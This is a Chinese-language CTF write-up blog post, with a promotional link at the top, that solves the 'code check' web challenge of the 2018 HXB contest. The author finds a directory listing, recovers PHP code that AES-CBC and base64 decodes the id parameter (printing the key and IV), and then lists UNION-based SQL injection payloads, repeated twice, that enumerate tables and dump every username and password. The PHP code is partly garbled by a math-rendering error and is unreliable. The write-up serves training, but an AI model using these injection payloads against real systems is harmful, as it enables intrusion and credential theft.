分享一个大神的人工智能教程。零基础!通俗易懂!风趣幽默!还带黄段子!希望你也加入到人工智能的队伍中来!http://www.captainbed.net/xiaohei
签到题直接关注公众号回复hxb2018即可拿到flag值。。我不想说出我只做出了签到提的事实。。一共分析了两道题, ,一道题是web的code check,还有一个是流量分析,看了赛后的wp,感觉流量分析是我姿势有问题,不知道为什么就是找不到flag。。而大佬们通过ctrl+F就能定位流量包。。802.11Q流量包也时常做的题了m( _ _ )m
刚开始先刷简单的题,于是选了WEB题。
首先是一个login页面。现在比赛结束打不开==,但是我们第一步肯定是观察页面源代码的,总能发现一些有用的东西。可以在CSS中看到一段:background:url(img/MySQL.jpg)
很理所当然的就是考察sql注入嘛,,于是我对注入框用了SQLMAP以及手工注入的方式,,就是进不去==,然后发现下面有一个一直弹的提示,,发现参数id,觉得这里可能存在注入点。
仔细一想,万一该目录下存在flag文件呢?怀疑有目录遍历的可能性,于是访问了http://47.107.236.42:49882/news/
发现了两个文件,于是我直接下载了list.zip文件。
发现了一大段代码。
分析PHP代码,发现是加密函数。主要就是,封装了一个decode方法并且给了一个形参,在方法体内对形参进行处理,然后回到代码执行流程中,调用方法后给ID变量赋值。
代码的核心点:
if(substr(trim(KaTeX parse error: Expected '}', got 'EOF' at end of input: …rn substr(trim(data),0,strlen(trim($data))-7);
}
针对该解密算法写加密算法:
t d = m c r y p t m o d u l e o p e n ( M C R Y P T R I J N D A E L 1 28 , ′ ′ , M C R Y P T M O D E C B C , ′ ′ ) ; m c r y p t g e n e r i c i n i t ( td=mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,''); mcrypt_generic_init( td=mcryptmoduleopen(MCRYPTRIJNDAEL128,′′,MCRYPTMODECBC,′′);mcryptgenericinit(td,’ydhaqPQnexoaDuW3′,'2018201920202021′);
d a t a = m c r y p t g e n e r i c ( data = mcrypt_generic( data=mcryptgeneric(td,base64_encode(base64_encode( d a t a ) ) ) ; m c r y p t g e n e r i c d e i n i t ( data))); mcrypt_generic_deinit( data)));mcryptgenericdeinit(td);
mcrypt_module_close($td);
整到题的目的就出来了:判断网页id后面的查询字符串值,先两次base64解密,再AES解密,删除_hxb2018字符,得到需要的id。
还判断了hxb2018这串字符是否存在。
准确的解释下,这串代码是对用户传入参数进行了decode操作。
使用了AES的CBC解密方式,采用128位密钥,密码为:“ydhaqPQnexoaDuW3”,偏移量为:“2018201920202021”,然后进行两次base64位解码。
同理拿到加密算法,先采用AES加密,然后进行base64位编码。
当然他会判断你字符串后面存不存在hxb2018这七个字符串。
直接网上百度加密解密的网站==,按照想法进行操作,注入成功!
通过AES加密后在进行BASE64加密payload,测试得到页面存在注入点。
爆破库名
加密前命令:1 and 1=2 union select 1,database(),3,4hxb2018
爆破表名:
命令:1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA=‘mozhe_discuz_stormgroup’ limit 2,3hxb2018
成功拿到表名:stormgroup_member
同理:1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_discuz_stormgroup’ and TABLE_NAME=‘stormgroup_member’ limit 1,1hxb2018
1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_discuz_stormgroup’ and TABLE_NAME=‘stormgroup_member’ limit 2,2hxb2018
1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA=‘mozhe_discuz_stormgroup’ and TABLE_NAME=‘stormgroup_member’ limit 3,3hxb2018
一共可以拿到3个字段。分别为name,password,status
使用命令:1 and 1=2 UNION SELECT 1,2,group_concat(name,password),4 from stormgroup_member hxb2018
加密后在进行base64直接拿到所有的用户名和密码
爆破库名:
1 and 1=2 union select 1,database(),3,4hxb2018
爆破表名:
1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_discuz_stormgroup' limit 2,3hxb2018
1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_discuz_stormgroup' and TABLE_NAME='stormgroup_member' limit 1,1hxb2018
1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_discuz_stormgroup' and TABLE_NAME='stormgroup_member' limit 2,2hxb2018
1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_discuz_stormgroup' and TABLE_NAME='stormgroup_member' limit 3,3hxb2018
爆所有信息:
1 and 1=2 UNION SELECT 1,2,group_concat(name,password),4 from stormgroup_member hxb2018